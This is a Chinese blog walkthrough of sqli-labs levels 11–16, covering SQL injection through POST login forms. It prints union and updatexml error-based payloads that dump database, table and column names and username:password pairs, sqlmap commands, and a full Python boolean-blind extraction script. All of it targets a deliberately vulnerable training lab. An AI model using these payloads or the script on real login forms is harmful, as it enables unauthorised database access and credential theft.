sqli-labs通关全解---POST提交方式--less11-16-5

已于 2023-01-11 13:23:44 修改
阅读量310 收藏 3
点赞数
分类专栏： sql-labs 文章标签： firefox chrome 前端
于 2023-01-11 13:23:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cyynid/article/details/128642287
版权

POST和GET属于两种不同的提交方式，使用POST时，数据将以表单的方式进行传输，对此，小编对一款插件进行推荐：

HacKBar：

Hackbar是一个Firefox的插件,它的功能类似于地址栏,但是它里面的数据不受服务器的相应触发的重定向等其它变化的影响。
有网址的载入于访问,联合查询,各种编码,数据加密功能。
这个Hackbar可以帮助你在测试SQL注入,XSS漏洞和网站的安全性,主要是帮助开发人员做代码的安全审计,检查代码,寻找安全漏洞。

该插件可以在chrome和火狐浏览器中直接搜索使用，鉴于该插件目前已经进行了收费，可以使用max hackbar 功能基本相同，操作类似，重要的是，他是免费的。

从小编的角度来看，less11-16其实只不过是前10题的翻版，各种闭合类型的联合注入+各种闭合类型的报错注入+各种闭合类型的盲注，没有很多更新的知识，只是将提交方式改为了post，因此，直接对每关的注入方案进行展示

less-11POST-ErrorBased -Single quotes-String

字符型+POST+联合注入（因为可以对报错进行输出，也可以用报错注入）

判断闭合方式

对username输入1‘出现报错，输入?id=1’–+无报错，则为单引号闭合，从上图的源代码中也可以验证这一点

联合注入方案

判断字段数

admin' order by 1 #,admin' order by 2 # 能够进行正常回显
admin' order by 3 #
出现报错，说明数据库具备两个字段

爆破数据库

-1'  union select 1,database() #

 列举服务器上所有数据库

1' union select group_concat(schema_name),2 from information_schema.schemata #

爆破数据库表名 

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

爆破users表的列 

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

 爆破用户名和密码

-1' union select 1,group_concat(username,':',password) from users #

 报错注入方案

获取数据库名称

1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#

 获取数据库数据表名称

1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#

获取数据表列名称 

1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#

获取用户名密码 

1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#

 sqlmap自动化注入

sqlmap -u http://192.168.2.15/sqli-labs/Less-13/ --forms --dbs

--forms能够自动提取表单，--dbs能够获取数据库名称

 less-12 POST - Error Based - Double quotes -String-with twist

该题的方案和十一题基本相同,区别在于闭合方式变为了("，因此只需要将payload的闭合方式进行修改就可以达到目的。

less-13 POST -Double Injection -Single Quotes-String -With twist

该题同样，但是不再对查询结果进行输出，可以采用11题中的报错注入方案，修改闭合方式以后进行使用

less-14 POST-Double Injection-Single Quotes -String-With- twist 

不对查询结果进行输出，但是可以对报错信息进行输出，可以使用11题的报错注入方案，修改闭合方式为”进行使用

less -15 

 该题不再对报错信息进行输出，也不对查询结果进行输出，只可以进行盲注，可以参考less 8的脚本进行注入，由于对于不同bool结果有不同的显示，即flag.jpg（可以通过网页开发者工具进行查看）,所以可以把flag设为flag.jpg,闭合方式改为单引号，提交方式改为POST

import requests

 
url = "http://192.168.101.16/sqli-labs-master/Less-15/"               #有可利用漏洞的url，根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部，根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'flag.jpg'                                        #用于判断附加sql语句为真的字符，根据网页回显填写
 
def Databases15():
    n = 100                                                                      #预测当前数据库名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "ele' or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "uname":payload1,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "ele' or (length((select group_concat(schema_name) from information_schema.schemata)))="+str(i)+"-- ss"
                param = {
                "uname":payload2,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "ele' or substring((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload3,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of databases are "+str(db))
    
def Tables15(database):
    n = 200                                                                     #预测当前数据库中所有表名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "ele' or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))>"+str(j)+"-- ss"
            param = {
            "uname":payload4,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "ele' or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))="+str(i)+"-- ss"
                param = {
                "uname":payload5,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "ele' or substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload6,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in "+database+" is "+str(tname))
 
 
def Columns15(database,table):                                                          #table参数是需要爆破的数据表名称，记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "ele' or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))>"+str(j)+"-- ss"
            param = {
            "uname":payload7,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "ele' or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))="+str(i)+"-- ss"
                param = {
                "uname":payload8,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "ele' or substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload9,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in database "+database+" table "+table+" is "+str(cname))
 
def Content15(database,table,col1,col2):                                                #table参数是需要爆破的数据表名称，col1和col2是需要爆破内容的列，记得都要加单引号
    n = 500                                                                     #预测期望获取的数据的最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "ele' or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))>"+str(j)+"-- ss"
            param = {
            "uname":payload10,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "ele' or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))="+str(i)+"-- ss"
                param = {
                "uname":payload11,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "ele' or substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload12,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

 less-16 POST Blind-Boolian/Time Based -Double quotes

盲注需要sql语句查询结果正确或错误的情况下客户端的表现有所不同，和前关不同，前十关可以通过制造报错的方法得到闭合方式，针对以下情况，我们可一通过万能钥匙尝试来获得 闭合方式

输入ele" or 1=1发现登录失败

输入ele")  or 1=1发现登录成功，为其闭合方式

该题和上题的区别在于闭合方式不同，只需要将payload的闭合方式修改就可以直接使用不多进行赘述

尝试通过sqlmap进行注入

sqlmap -u  http://192.168.2.15/sqli-labs/Less-16/ --forms --dbs --level 3 由于可能默认采用了时间盲注需要的时间比较久

sqlmap --level 可以对sqlmap的注入等级进行设置，等级越高，检测越详细，同样花费时间越久 

辰霖心
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
sqli-labs-less-13 post传参+布尔盲注
yzcn
11-12 299
Less-13 post+布尔盲注 首先通过burp suite抓包获取报文体： 利用harkbar插件进行注入： 判断闭合方式： uname=’)or 1=1 #&passwd=&submit=Submit 发现闭合方式为(‘’) uname=’))#&passwd=&submit=Submit 本关卡没有回显，只有正误判断和报错信息，我们可以使用布尔盲注、延时注入或者报错注入，这里我么使用报注入。 判断字段列数： uname=’) group by 3 #&
sqli-labs-less-15 post布尔盲注+sqlmap爆破
yzcn
11-12 854
Less-15 方法一： Post传参，先用burp suite抓包 判断闭合方式： uname=’ or 1=1 #&passwd=&submit=Submit 显示登录成功，闭合方式为’’ uname=’) or 1=1 #&passwd=&submit=Submit 添加符号后没有报错信息，直接返回登录失败，说明这题只有正确或者错误两种返回，可以使用布尔盲注进行注入。 Substr(a,b,c):从位置b开始截取a字符中的前c个字符 判断当前数据库名长度： u
（sqlmap）【sqli-labs11-20】爆破本地数据文件
07-07 1253
【SQLMAP-数据本地爆破】
sqli-labs/Less-15
m0_71299382的博客
11-18 500
sqli-labs第十五关
（手工）【sqli-labs11-12】POST注入：基本步骤、示例
07-07 1348
【SQL-POST注入】
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
安装sqli-labs
10-22
安装完成sqli-labs靶场环境后，可以根据关卡信息练习，结合write up（通关指南）和手工测试工具使用sqli-labs靶场环境。 总结 安装sqli-labs靶场环境可以提供一个安全和合法的环境来学习和实践Web应用安全。通过...
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
windows环境下安装sqli-labs
11-04
Windows 环境下安装 sqli-labs 详细教程 Windows Server 2012 环境下安装 sqli-labs 需要具备一定的基础知识和环境准备。在这里，我们将详细介绍如何在 Windows Server 2012 环境下安装 sqli-labs。 环境准备 在...
sqli-labs靶场实现（三）【POST基于错误的注入（单引号、双引号）】（less-11~12、具体步骤+图文详解）
weixin_46709219的博客
12-15 715
一） 二） 三）
sqli-labs第十五和十六关（post请求-布尔盲注）
qq_42266432的博客
08-26 855
开启第十五关，先尝试注入，注入多次后发现页面无报错也无回显，于是尝试盲注 使用万能密码’ or 1=1登陆成功，’ or 1=2登录失败，这里可以使用布尔盲注， 研究响应页面发现登录成功和登录失败时底下的提示是一个图片，而图片的命名不同，可以此区分成功和失败，开始写脚本，脚本的思路和之前使用布尔盲注的关卡类似，只需修改请求类型、数据和if条件即可，代码如下： import requests # 获取数据库名长度 def database_len(): for i in range(1,10):
sqli-labs靶场11-12关（基于POST联合查询）
qq_46527080的博客
12-12 586
1:GET 2:POST 3:Head 4:Put 5:Delete 6:Connect 7:Options 8:Trace 那么这里是典型的POST注入，那么注入点就是在POST数据中，而POST请求往往代表着用户向服务器提交了大量的数据请求，行为有包括文件上传，表单提交，按钮时间，这里分析是用户的登陆动作，那么肯定要对输入的用户名和密码带入数据库进行查询，接下来我们就把提交的用户名和密码直接替换成我们的测试语句； 1：这里我们可以使用burpsuite和hackbar都可以完成测试，这里我们选择使用Bu
sqli-labs Less-11~16（sqli-labs闯关指南 11—16）--POST注入相关
m0_54899775的博客
12-18 1578
sqli-labs Less-11~16（sqli-labs闯关指南 11—16）--POST注入相关 Less-11和Less-12都为基于错误的POST类型的字符型注入；Less-13和Less-14都为基于错误的POST类型的盲注；Less-15和Less-16都为基于错误的POST类型的延时注入
SQL注入之sqli-labs（三）
m0_60716947的博客
04-17 1958
（一）第十一关至第十五关（持续更新中） （1）第十一关 首先依旧是先加两行代码，便于学习
Sqli_labs通关全解--总结
cyynid的博客
01-09 2153
Sqli_labs通关全解
SQL注入之sqli-labs（九）
m0_60716947的博客
04-30 317
目录 （九）第五十四关到六十五关 （1）第五十四关 （2）第五十五关 （3）第五十六关 （4）第五十七关 （5）第五十八关 （6）第五十九关 （7）第六十关 （8）第六十一关 （9）第六十二关 （10）第六十三关 （11）第六十四关 （12）第六十五关 （十）sqli-labs 总结 （九）第五十四关到六十五关 （1）第五十四关 首页提醒我们使用id 值进行注入，并且告诉我们： 此挑战的目标是在少于 10 次尝试的情况下仅从数据库随机表中转储（“挑战”）的（密钥） 为
SQL注入——sqli-labs第二十四关_sqli第二十四，资深网络安全开发带你入门Framework
最新发布
2401_84103616的博客
04-04 788
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！
sqli-labs POST （11-17）
半夜好饿的博客
05-09 276
      写在前面的话：今天比较空闲，把11-17给写了，18之后的是另外一种方式了，需要改包，遂单独作为一篇了。 LESS 11    由于是POST，与GET有一定的区别，不能直接在地址栏处构造playload，每次在输入框中构造有些难受，可以使用burpsuite或者火狐的hackbar。 在Username处输入admin’， ...
sqli-labs靶场练习笔记
11-09
"sqli-labs靶场练习笔记涵盖了从2关到24关的SQL注入学习内容，适合初学者参考，涉及单引号、双引号注入，布尔盲注，数据库名、表名、列名的探测，以及利用注入进行文件写入和信息获取等技能。" 在SQL注入的学习过程...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值